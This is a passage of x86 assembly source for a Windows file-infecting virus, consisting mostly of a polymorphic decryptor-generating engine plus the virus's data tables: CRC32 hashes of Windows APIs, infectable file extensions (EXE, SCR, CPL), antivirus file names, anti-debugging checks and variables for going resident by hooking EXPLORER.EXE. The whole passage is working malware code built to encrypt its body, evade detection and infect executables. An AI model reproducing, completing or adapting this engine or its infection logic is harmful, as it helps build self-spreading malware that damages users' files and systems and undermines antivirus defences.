

or ah,05h
mov al,dl
stosw

movzx eax,byte ptr [ebp+NumberOfDataAreas]


call get_rnd_range
lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
lodsd
push eax
lodsd
sub eax,00000004h
call get_rnd_range
pop edx
add eax,edx
stosd

ret

;============================================================================
;Generate clc/stc/cmc/cld/std
;============================================================================

gen_save_code: mov eax,end_save_code-tbl_save_code


call get_rnd_range
mov al,byte ptr [ebp+tbl_save_code+eax]
stosb
ret

;============================================================================
;Generate fake decrypt instructions
;============================================================================

gen_fake_crypt: cmp byte ptr [ebp+recursive_level],03h


jae bad_fake_size
cmp byte ptr [ebp+NumberOfDataAreas],02h
jb bad_fake_size

push dword ptr [ebp+fake_ptr_disp]


push dword ptr [ebp+fake_crypt_key]
mov dl,byte ptr [ebp+fake_build_flags]
mov dh,byte ptr [ebp+fake_index_mask]
shl edx,08h
mov dl,byte ptr [ebp+fake_oper_size]
push edx

call get_rnd32 ;Get encryption key


mov dword ptr [ebp+fake_crypt_key],eax
call get_rnd32 ;Get generation flags
mov byte ptr [ebp+fake_build_flags],al

call get_rnd32 ;Get size of mem operand


and al,03h
cmp al,01h
je ok_fake_size
cmp al,02h
je ok_fake_size
inc al
ok_fake_size: mov byte ptr [ebp+fake_oper_size],al

call get_rnd32 ;Choose displacement


and eax,00000001h
jz ok_fake_disp

call get_rnd32
call get_rnd_range
inc eax
neg eax
ok_fake_disp: mov dword ptr [ebp+fake_ptr_disp],eax

movzx eax,byte ptr [ebp+NumberOfDataAreas]


call get_rnd_range
lea esi,dword ptr [ebp+tbl_data_area+eax*08h]
lodsd
add eax,dword ptr [ebp+fake_ptr_disp]
push eax
lodsd
sub eax,00000004h
call get_rnd_range

pop edx
add eax,edx
push eax

call get_valid_reg

or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX


mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+fake_index_mask],al
or al,0B8h
stosb
pop eax
stosd

push ebx
call GenGarbageEx ;Garbage
call fake_or_not
call GenGarbageEx ;Garbage
pop ebx

xor byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

pop eax
mov byte ptr [ebp+fake_oper_size],al
shr eax,08h
mov byte ptr [ebp+fake_index_mask],ah
mov byte ptr [ebp+fake_build_flags],al
pop dword ptr [ebp+fake_crypt_key]
pop dword ptr [ebp+fake_ptr_disp]
bad_fake_size: ret

;============================================================================
;Get a ramdom reg
;============================================================================

get_rnd_reg: mov eax,00000007h


call get_rnd_range
lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
ret

;============================================================================
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
;============================================================================

get_valid_reg: call get_rnd_reg


mov al,byte ptr [ebx+REG_FLAGS]
and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
jnz get_valid_reg
ret

;============================================================================
;Load ecx with crypt_size / oper_size
;============================================================================

fixed_size2ecx: mov eax,dword ptr [ebp+SizeCrypt]


xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
shr ecx,01h
or ecx,ecx
jz ok_2ecx
shr eax,cl
jnc ok_2ecx
inc eax
ok_2ecx: mov ecx,eax
ret

;============================================================================
;Generate polymorphic decryptor... Whats new on this poly engine?
;
;On entry:
; esi -> Pointer to code
; edi -> Where to generate polymorphic decryptor
; ecx -> Size of area to encrypt
; edx -> Entry point to code once decrypted
;On exit:
; ecx -> Decryptor size
; edi -> End of decryptor
;
;============================================================================

Mutate: push ebx ;Save base address


add edx,ebx
mov dword ptr [ebp+PtrToEP],edx ;Save ptr to entry-point

mov dword ptr [ebp+PtrToCrypt],esi ;Save crypt offset


mov dword ptr [ebp+PtrToDecrypt],edi
mov dword ptr [ebp+SizeCrypt],ecx ;Save size of block

lea esi,dword ptr [ebp+tbl_startup]


lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
mov ecx,00000007h
loop_init_regs: lodsb
stosb
inc edi
loop loop_init_regs

xor eax,eax
mov byte ptr [ebp+NumberOfDataAreas],al ;Clear # of data area
mov byte ptr [ebp+recursive_level],al ;Clear recursive

mov ecx,NUM_DA
lea edi,dword ptr [ebp+tbl_data_area] ;Init data areas
loop_init_da: stosd
stosd
loop loop_init_da

call get_valid_reg
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+index_mask],al
or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX

xor eax,eax
mov ecx,00000005h
lea edi,dword ptr [ebp+style_table+00000004h]
clear_style: stosd
add edi,00000004h
loop clear_style

call get_valid_reg
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+counter_mask],al
or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER

call get_rnd32
and eax,00000001h
jz ok_disp
call get_rnd32
ok_disp: mov dword ptr [ebp+ptr_disp],eax

call get_rnd32
mov dword ptr [ebp+crypt_key],eax

call get_rnd32
mov byte ptr [ebp+build_flags],al

call get_rnd32
and al,03h
cmp al,01h
je get_size_ok
cmp al,02h
je get_size_ok
inc al
get_size_ok: mov byte ptr [ebp+oper_size],al
mov edi,dword ptr [ebp+PtrToDecrypt];Ptr to decryptor

call gen_rnd_block ;Random data block


mov ecx,00000005h ;Generate 5 routines

do_subroutine: push ecx

routine_done: mov eax,00000005h ;Random step


call get_rnd_range
lea esi,dword ptr [ebp+style_table+eax*08h]

xor edx,edx ;Already generated?


cmp dword ptr [esi+00000004h],edx
jne routine_done

push edi ;Generate routine


call GenGarbageEx
lodsd
pop dword ptr [esi]
add eax,ebp
call eax
call GenGarbageEx

call gen_ret

call gen_rnd_block

pop ecx ;Generate next subroutine


loop do_subroutine

mov dword ptr [ebp+entry_point],edi ;Decryptor entry-point

;============================================================
;If this is the 1st decryptor we need to save
;some regs
;============================================================

cmp byte ptr [ebp+IsFirst],00h


je SkipSaveRegs

mov al,REG_READ_ONLY

or byte ptr [ebp+tbl_reg_ebx+01h],al


or byte ptr [ebp+tbl_reg_esi+01h],al
or byte ptr [ebp+tbl_reg_edi+01h],al
or byte ptr [ebp+tbl_reg_ebp+01h],al

mov byte ptr [ebp+recursive_level],04h

mov ecx,00000004h
lea esi,dword ptr [ebp+PshPStepIndex]
DoRestorePush: push ecx
push esi

call GenInitGarbage

pop esi

lodsd
lea edx,dword ptr [ebp+eax+TblDoPush]
mov al,byte ptr [edx]
stosb
mov dl,not REG_READ_ONLY
TryToFixEBX: cmp al,053h
jne TryToFixESI

and byte ptr [ebp+tbl_reg_ebx+01h],dl


jmp ShitIsFixed

TryToFixESI: cmp al,056h


jne TryToFixEDI

and byte ptr [ebp+tbl_reg_esi+01h],dl


jmp ShitIsFixed

TryToFixEDI: cmp al,057h


jne TryToFixEBP

and byte ptr [ebp+tbl_reg_edi+01h],dl


jmp ShitIsFixed

TryToFixEBP: cmp al,055h


jne ShitIsFixed

and byte ptr [ebp+tbl_reg_ebp+01h],dl

ShitIsFixed: pop ecx

loop DoRestorePush

mov byte ptr [ebp+recursive_level],00h

and byte ptr [ebp+tbl_reg_ebx+01h],dl


and byte ptr [ebp+tbl_reg_esi+01h],dl
and byte ptr [ebp+tbl_reg_edi+01h],dl
and byte ptr [ebp+tbl_reg_ebp+01h],dl

;============================================================
;Build the JZ/JNZ instruction (at the end of the decryptor
;loop) at runtime
;============================================================

SkipSaveRegs: call GenGarbageEx

test byte ptr [ebp+build_flags],CRYPT_FOG


jz NoEndFog

FuckFogEBP: call get_valid_reg


cmp byte ptr [ebx+REG_MASK],00000101b
je FuckFogEBP

or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

mov dword ptr [ebp+XrndReg],ebx

push ebx

mov al,byte ptr [ebx+REG_MASK]


or al,0B8h
stosb
call get_rnd32
stosd
mov dword ptr [ebp+Xrnd1],eax

call GenGarbageEx
mov dword ptr [ebp+XrndFixPtr],edi
add edi,00000006h

call gen_garbage

mov dword ptr [ebp+XrndMath],edi


add edi,00000006h

pop ebx

xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

call gen_garbage

;============================================================
;Generate CALLs to each routine inside garbage code
;============================================================

NoEndFog: lea esi,dword ptr [ebp+style_table+00000004h]


mov ecx,00000005h

do_call: push ecx ;Gen CALL to each step


cmp ecx,00000003h
jne is_not_loop
call GenGarbageEx
mov dword ptr [ebp+loop_point],edi
is_not_loop: call GenGarbageEx

call get_rnd32
and al,01h
jz MutateCall

StandardCall: mov al,0E8h ;CALL opcode


stosb
lodsd
sub eax,edi
sub eax,00000004h
stosd
jmp DoneMutateCall

CallStepADD: mov ax,0C081h


or ah,byte ptr [ebx+REG_MASK]
stosw
lodsd
call FromPoly2Rva
sub eax,edx
stosd
ret

CallStepSUB: mov ax,0E881h


or ah,byte ptr [ebx+REG_MASK]
stosw
lodsd
call FromPoly2Rva
neg eax
add eax,edx
stosd
ret

CallStepXOR: mov ax,0F081h


or ah,byte ptr [ebx+REG_MASK]
stosw
lodsd
call FromPoly2Rva
xor eax,edx
stosd
ret

MutateCall: push esi


call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
push eax
push ebx
call GenGarbageEx
pop ebx
mov eax,NumCallStep
call get_rnd_range
lea esi,dword ptr [ebp+tbl_call_step+eax*04h]
lodsd
add eax,ebp
pop edx
pop esi
push ebx
call eax
call GenGarbageEx
pop ebx
mov ax,0D0FFh
or ah,byte ptr [ebx+REG_MASK]
stosw
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

DoneMutateCall: call GenGarbageEx


lodsd
pop ecx
loop do_call

call GenGarbageEx ;End condition


call gen_loop
call gen_rnd_block

pop ebx

push edi
sub edi,dword ptr [ebp+PtrToDecrypt]
push edi

mov edi,dword ptr [ebp+PtrToCrypt]


add edi,ebx
call fixed_size2ecx ;Encrypt requested area
loop_hide_code: push ecx
mov eax,dword ptr [edi]
call perform_crypt
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_copy_res: stosb
shr eax,08h
loop loop_copy_res
pop ecx
loop loop_hide_code
mov edx,dword ptr [ebp+entry_point]

sub edx,ebx ;Get entry-point offset

pop ecx
pop edi

ret

;============================================================================
;Poly engine initialized data
;============================================================================

;============================================================
;Register table
;
; 00h -> BYTE -> Register mask
; 01h -> BYTE -> Register flags
;============================================================

tbl_regs equ $

db 00000000b,REG_READ_ONLY ;eax
tbl_reg_ebx db 00000011b,00h ;ebx
db 00000001b,00h ;ecx
db 00000010b,00h ;edx
tbl_reg_esi db 00000110b,REG_NO_8BIT ;esi
tbl_reg_edi db 00000111b,REG_NO_8BIT ;edi
tbl_reg_ebp db 00000101b,REG_NO_8BIT ;ebp

end_regs equ $

;============================================================
;Aliases for reg table structure
;============================================================

REG_MASK equ 00h


REG_FLAGS equ 01h

;============================================================
;Bit aliases for reg flags
;============================================================

REG_IS_INDEX equ 01h ;Register used as main index register


REG_IS_COUNTER equ 02h ;This register is used as loop counter
REG_READ_ONLY equ 04h ;Never modify the value of this register
REG_NO_8BIT equ 08h ;ESI EDI and EBP havent 8bit version

;============================================================
;Initial reg flags
;============================================================

tbl_startup equ $

db REG_READ_ONLY ;eax
db 00h ;ebx
db 00h ;ecx
db 00h ;edx
db REG_NO_8BIT ;esi
db REG_NO_8BIT ;edi
db REG_NO_8BIT ;ebp

;============================================================
;Code that does not disturb reg values
;============================================================

tbl_save_code equ $

clc
stc
cmc
cld
std

end_save_code equ $

;============================================================
;Generators for [reg] indexing mode
;============================================================

tbl_idx_reg equ $

dd offset xx_inc_reg
dd offset xx_dec_reg
dd offset xx_not_reg
dd offset xx_add_reg
dd offset xx_sub_reg
dd offset xx_xor_reg

;============================================================
;Generators for [reg+imm] indexing mode
;============================================================

tbl_dis_reg equ $

dd offset yy_inc_reg
dd offset yy_dec_reg
dd offset yy_not_reg
dd offset yy_add_reg
dd offset yy_sub_reg
dd offset yy_xor_reg

;============================================================
;Generators for [reg+reg] indexing mode
;============================================================

tbl_xtended equ $

dd offset zz_inc_reg
dd offset zz_dec_reg
dd offset zz_not_reg
dd offset zz_add_reg
dd offset zz_sub_reg
dd offset zz_xor_reg

;============================================================
;Generators for [reg+reg+imm] indexing mode
;============================================================

tbl_paranoia equ $

dd offset ii_inc_reg
dd offset ii_dec_reg
dd offset ii_not_reg
dd offset ii_add_reg
dd offset ii_sub_reg
dd offset ii_xor_reg

;============================================================
;Opcodes for math reg,imm
;============================================================

tbl_math_imm equ $

db 0C0h ;add
db 0C8h ;or
db 0E0h ;and
db 0E8h ;sub
db 0F0h ;xor
db 0D0h ;adc
db 0D8h ;sbb

end_math_imm equ $

;============================================================
;Magic aliases
;============================================================

MAGIC_PUTKEY equ 01h


MAGIC_PUTDISP equ 02h
MAGIC_ENDSTR equ 0FFh
MAGIC_ENDKEY equ 0FEh
MAGIC_CAREEBP equ 00h
MAGIC_NOTEBP equ 0FFh

;============================================================
;Magic data
;============================================================

xx_inc_reg db 0FEh
db MAGIC_CAREEBP
db 00h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword

xx_dec_reg db 0FEh
db MAGIC_CAREEBP
db 08h
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword

xx_not_reg db 0F6h
db MAGIC_CAREEBP
db 10h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword

xx_add_reg db 80h
db MAGIC_CAREEBP
db 00h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword

xx_sub_reg db 80h
db MAGIC_CAREEBP
db 28h
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword

xx_xor_reg db 80h
db MAGIC_CAREEBP
db 30h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword

yy_inc_reg db 0FEh
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword

yy_dec_reg db 0FEh
db MAGIC_NOTEBP
db 88h
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword

yy_not_reg db 0F6h
db MAGIC_NOTEBP
db 90h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword

yy_add_reg db 80h
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword

yy_sub_reg db 80h
db MAGIC_NOTEBP
db 0A8h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword

yy_xor_reg db 80h
db MAGIC_NOTEBP
db 0B0h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword

zz_inc_reg db 0FEh
db MAGIC_CAREEBP
db 04h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword

zz_dec_reg db 0FEh
db MAGIC_CAREEBP
db 0Ch
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword

zz_not_reg db 0F6h
db MAGIC_CAREEBP
db 14h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword

zz_add_reg db 80h
db MAGIC_CAREEBP
db 04h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword

zz_sub_reg db 80h
db MAGIC_CAREEBP
db 2Ch
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword

zz_xor_reg db 80h
db MAGIC_CAREEBP
db 34h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword

ii_inc_reg db 0FEh
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword

ii_dec_reg db 0FEh
db MAGIC_NOTEBP
db 8Ch
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword

ii_not_reg db 0F6h
db MAGIC_NOTEBP
db 94h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword

ii_add_reg db 80h
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword

ii_sub_reg db 80h
db MAGIC_NOTEBP
db 0ACh
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword

ii_xor_reg db 80h
db MAGIC_NOTEBP
db 0B4h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword

;============================================================
;Reverse-code strings
;============================================================

x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY

;============================================================
;Format for each style-table entry:
;
; 00h -> DWORD -> Address of generator
; 04h -> DWORD -> Address of generated subroutine or
; 00000000h if not yet generated
;
;============================================================

style_table equ $

dd offset gen_load_ptr
dd 00000000h

dd offset gen_load_ctr
dd 00000000h

dd offset gen_decrypt
dd 00000000h

dd offset gen_next_step
dd 00000000h

dd offset gen_next_ctr
dd 00000000h

;============================================================
;Generators for incrementing the index register
;============================================================

tbl_idx_up equ $

dd offset IdxUpWithADD
dd offset IdxUpWithSUB
dd offset IdxUpWithINC
dd offset IdxUpADDADD
dd offset IdxUpADDSUB
dd offset IdxUpSUBSUB
dd offset IdxUpSUBADD

NumIdxUp equ ($-tbl_idx_up)/04h

;============================================================
;Misc generators
;============================================================

tbl_jmp_end equ $

dd offset jmpendregadd
dd offset jmpendregsub
dd offset jmpendregxor

NumJmpEnd equ ($-tbl_jmp_end)/04h

tbl_call_step equ $

dd offset CallStepADD
dd offset CallStepSUB
dd offset CallStepXOR

NumCallStep equ ($-tbl_call_step)/04h

TblDoFog equ $

dd offset DoFogAdd
dd offset DoFogSub
dd offset DoFogXor
NumFog equ ($-TblDoFog)/04h

TblFixFog equ $

dd offset FixFogAdd
dd offset FixFogSub
dd offset FixFogXor

NumFixFog equ ($-TblFixFog)/04h

;============================================================
;Generators for decrementing the index register
;============================================================

tbl_idx_down equ $

dd offset IdxDownWithADD
dd offset IdxDownWithSUB
dd offset IdxDownWithDEC
dd offset IdxDownADDADD
dd offset IdxDownADDSUB
dd offset IdxDownSUBSUB
dd offset IdxDownSUBADD

NumIdxDown equ ($-tbl_idx_down)/04h

;============================================================
;Garbage code generators
;============================================================

tbl_i_g equ $

dd offset gen_save_code ;clc stc cmc cld std


dd offset gen_mov_mem32 ;mov mem,reg32
dd offset gen_mov_mem16 ;mov mem,reg16
dd offset gen_mov_mem8 ;mov mem,reg8
dd offset gen_add_mem32 ;add mem,reg32
dd offset gen_add_mem16 ;add mem,reg16
dd offset gen_add_mem8 ;add mem,reg8
dd offset gen_sub_mem32 ;sub mem,reg32
dd offset gen_sub_mem16 ;sub mem,reg16
dd offset gen_sub_mem8 ;sub mem,reg8
dd offset gen_adc_mem32 ;adc mem,reg32
dd offset gen_adc_mem16 ;adc mem,reg16
dd offset gen_adc_mem8 ;adc mem,reg8
dd offset gen_sbb_mem32 ;sbb mem,reg32
dd offset gen_sbb_mem16 ;sbb mem,reg16
dd offset gen_sbb_mem8 ;sbb mem,reg8
dd offset gen_or_mem32 ;or mem,reg32
dd offset gen_or_mem16 ;or mem,reg16
dd offset gen_or_mem8 ;or mem,reg8
dd offset gen_and_mem32 ;and mem,reg32
dd offset gen_and_mem16 ;and mem,reg16
dd offset gen_and_mem8 ;and mem,reg8
dd offset gen_xor_mem32 ;xor mem,reg32
dd offset gen_xor_mem16 ;xor mem,reg16
dd offset gen_xor_mem8 ;xor mem,reg8

end_i_g equ $

tbl_garbage equ $
dd offset gen_save_code ;clc stc cmc cld std
dd offset g_movreg32imm ;mov reg32,imm
dd offset g_movreg16imm ;mov reg16,imm
dd offset g_movreg8imm ;mov reg8,imm
dd offset g_xchgregreg32 ;xchg reg32,reg32
dd offset g_xchgregreg16 ;xchg reg16,reg16
dd offset g_xchgregreg8 ;xchg reg8,reg8
dd offset g_movregreg32 ;mov reg32,reg32
dd offset g_movregreg16 ;mov reg16,reg16
dd offset g_movregreg8 ;mov reg8,reg8
dd offset g_inc_reg32 ;inc reg32
dd offset g_inc_reg16 ;inc reg16
dd offset g_inc_reg8 ;inc reg8
dd offset g_dec_reg32 ;dec reg32
dd offset g_dec_reg16 ;dec reg16
dd offset g_dec_reg8 ;dec reg8
dd offset g_mathregimm32 ;math reg32,imm
dd offset g_mathregimm16 ;math reg16,imm
dd offset g_mathregimm8 ;math reg8,imm
dd offset g_movzx_movsx ;movzx/movsx reg32,reg16

save_space equ $

dd offset gen_mov_mem32 ;mov mem,reg32


dd offset gen_mov_mem16 ;mov mem,reg16
dd offset gen_mov_mem8 ;mov mem,reg8
dd offset gen_add_mem32 ;add mem,reg32
dd offset gen_add_mem16 ;add mem,reg16
dd offset gen_add_mem8 ;add mem,reg8
dd offset gen_sub_mem32 ;sub mem,reg32
dd offset gen_sub_mem16 ;sub mem,reg16
dd offset gen_sub_mem8 ;sub mem,reg8
dd offset gen_adc_mem32 ;adc mem,reg32
dd offset gen_adc_mem16 ;adc mem,reg16
dd offset gen_adc_mem8 ;adc mem,reg8
dd offset gen_sbb_mem32 ;sbb mem,reg32
dd offset gen_sbb_mem16 ;sbb mem,reg16
dd offset gen_sbb_mem8 ;sbb mem,reg8
dd offset gen_or_mem32 ;or mem,reg32
dd offset gen_or_mem16 ;or mem,reg16
dd offset gen_or_mem8 ;or mem,reg8
dd offset gen_and_mem32 ;and mem,reg32
dd offset gen_and_mem16 ;and mem,reg16
dd offset gen_and_mem8 ;and mem,reg8
dd offset gen_xor_mem32 ;xor mem,reg32
dd offset gen_xor_mem16 ;xor mem,reg16
dd offset gen_xor_mem8 ;xor mem,reg8
dd offset g_push_g_pop ;push reg/garbage/pop reg
dd offset g_call_cont ;call/garbage/pop
dd offset g_jump_u ;jump/rnd block
dd offset g_jump_c ;jump conditional/garbage
dd offset gen_fake_crypt ;fake decryptor instruction

end_garbage equ $

;============================================================
;PolyPush
;============================================================

TblDoPush equ $

pushEBX db 053h
pushESI db 056h
pushEDI db 057h
pushEBP db 055h

;============================================================
;PolyPop
;============================================================

TblDoPop equ $

popEBX db 05Dh
popESI db 05Fh
popEDI db 05Eh
popEBP db 05Bh

;============================================================================
;CRC32 of API names
;============================================================================

CrcKernel32 dd 00000000h ;CRC32 of KERNEL dll name

CrcGetProcAddr dd 00000000h ;This API takes special care

CRC32K32Apis dd NumK32Apis dup (00000000h)


CRC32TOOLHELPApis dd NumTOOLHELPApis dup (00000000h)
CRC32PSAPIApis dd NumPSAPIApis dup (00000000h)
CRC32IMGHLPApis dd NumIMGHLPApis dup (00000000h)
CRC32SFCApis dd NumSFCApis dup (00000000h)
CRC32USER32Apisw9x dd NumUSER32Apis dup (00000000h)
CRC32USER32Apiswnt dd NumUSER32Apis dup (00000000h)

CRC32_IsDebugPr dd 00000000h
CRC32_RegServProc dd 00000000h

;============================================================================
;CRC32 of infectable file extensions
;============================================================================

TblCRC32szEXT equ $

CRC32_szEXE dd 00000000h
CRC32_szSCR dd 00000000h
CRC32_szCPL dd 00000000h

NumberOfExt equ ($-TblCRC32szEXT)/04h

;============================================================================
;CRC32 of EXPLORER.EXE and USER32.DLL
;============================================================================

CRCszEXPLORER dd 00000000h
CRCszUSER32 dd 00000000h
CRCszPSAPI dd 00000000h
CRCszIMGHLP dd 00000000h
CRCszSFC dd 00000000h

;============================================================================
;Avoid some files from being infected
;============================================================================

avoid_tbl dd avoid_num dup (00000000h)

;============================================================================
;CRC32 of AV files
;============================================================================

TblCRC32AV dd NumberOfAV dup (00000000h)

;============================================================================
;End of CRC32 protected area
;============================================================================

SizeOfProtect equ $-CRC_protected

;============================================================================
;End of virus image in files
;============================================================================

inf_size equ $-viro_sys

;============================================================================
;Seed for random number generator
;============================================================================

rnd32_seed dd 00000000h

;============================================================================
;CRC32 lookup table
;============================================================================

tbl_crc32 dd 0100h dup (00000000h)

;============================================================================
;KERNEL32 API's
;============================================================================

;GetProcAddress API takes special care

a_GetProcAddress dd 00000000h

epK32Apis equ $

a_CreateFileA dd 00000000h
a_CreateFileMappingA dd 00000000h
a_CreateProcessA dd 00000000h
a_CreateThread dd 00000000h
a_CloseHandle dd 00000000h
a_DeleteFileA dd 00000000h
a_ExitThread dd 00000000h
a_FindClose dd 00000000h
a_FindFirstFileA dd 00000000h
a_FindNextFileA dd 00000000h
a_FreeLibrary dd 00000000h
a_GetComputerNameA dd 00000000h
a_GetCurrentProcess dd 00000000h
a_GetDriveTypeA dd 00000000h
a_GetFileAttributesA dd 00000000h
a_GetLastError dd 00000000h
a_GetLocalTime dd 00000000h
a_GetLogicalDriveStringsA dd 00000000h
a_GetSystemDirectoryA dd 00000000h
a_GetVersionEx dd 00000000h
a_LoadLibraryA dd 00000000h
a_MapViewOfFile dd 00000000h
a_OpenFileMappingA dd 00000000h
a_OpenProcess dd 00000000h
a_ReadProcessMemory dd 00000000h
a_SetEndOfFile dd 00000000h
a_SetFileAttributesA dd 00000000h
a_SetFilePointer dd 00000000h
a_SetFileTime dd 00000000h
a_Sleep dd 00000000h
a_UnmapViewOfFile dd 00000000h
a_WriteProcessMemory dd 00000000h

NumK32Apis equ ($-epK32Apis)/04h

;Only used when present

a_IsDebuggerPresent dd 00000000h

hKERNEL32 dd 00000000h

;============================================================================
;Used to check current computer name
;============================================================================

SizeOfComputerName dd 00000000h

szComputerName db 20h dup (00h)

;============================================================================
;Buffer used on misc routines
;============================================================================

EP_Bytes dd 00000000h

BufStrFilename db MAX_PATH+01h dup (00000000h)

;============================================================================
;End of virus virtual image
;============================================================================

size_virtual equ $-viro_sys

;============================================================================
;Structure used by GetVersionEx
;============================================================================

system_version equ $

dwOSVersionInfoSize dd 00000000h
dwMajorVersion dd 00000000h
dwMinorVersion dd 00000000h
dwBuildNumber dd 00000000h
dwPlatformId dd 00000000h

szCSDVersion db 80h dup (00h)

VER_PLATFORM_WIN32s equ 00h


VER_PLATFORM_WIN32_WINDOWS equ 01h
VER_PLATFORM_WIN32_NT equ 02h

;============================================================================
;Variables used by the Windows 9x residency routines
;============================================================================

hSnapshot dd 00000000h

ProcessEntry equ $
ProcEdwSize dd 00000000h
ProcEcntUsage dd 00000000h
ProcEth32ProcessID dd 00000000h
ProcEth32DefaultHeapID dd 00000000h
ProcEth32ModuleID dd 00000000h
ProcEcntThreads dd 00000000h
ProcEth32ParentProcessID dd 00000000h
ProcEpcPriClassBase dd 00000000h
ProcEdwFlags dd 00000000h
ProcEszExeFile db MAX_PATH dup (00h)

SIZEOFPROCESSENTRY equ ($-ProcessEntry)

ModuleEntry equ $

ModEdwSize dd 00000000h
ModEth32ModuleID dd 00000000h
ModEth32ProcessID dd 00000000h
ModEGlblcntUsage dd 00000000h
ModEProccntUsage dd 00000000h
ModEmodBaseAddr dd 00000000h
ModEmodBaseSize dd 00000000h
ModEhModule dd 00000000h
ModEszModule db MAX_MODULE_NAME32+1 dup (00h)
ModEszExePath db MAX_PATH dup (00h)

SIZEOFMODULEENTRY equ ($-ModuleEntry)

MAX_MODULE_NAME32 equ 255

;============================================================================
;Variables used by the Windows NT and Windows 2000 residency routines
;============================================================================

hProcess dd 00000000h
hModule dd 00000000h

ProcessIdList dd 20h dup (00000000h)


ModuleList dd 20h dup (00000000h)

Explorer_MZ_lfanew dd 00000000h
Explorer_FH_SizeOfOptionalHeader dw 0000h
Explorer_FH_NumberOfSections dw 0000h

Explorer_SectionHeader db IMAGE_SIZEOF_SECTION_HEADER dup (00h)

Explorer_DE_Import dd 00000000h

Explorer_ImportDescriptor db IMAGE_SIZEOF_IMPORT_DESCRIPTOR dup (00h)

Explorer_ID_Name db 10h dup (00h)


ParseDllNameErrorProtection db 00h

Explorer_Hook dd 00000000h
Explorer_Patch dd 00000000h
Explorer_Init_Hook dd 00000000h

;============================================================================
;This is virus infection thread ID
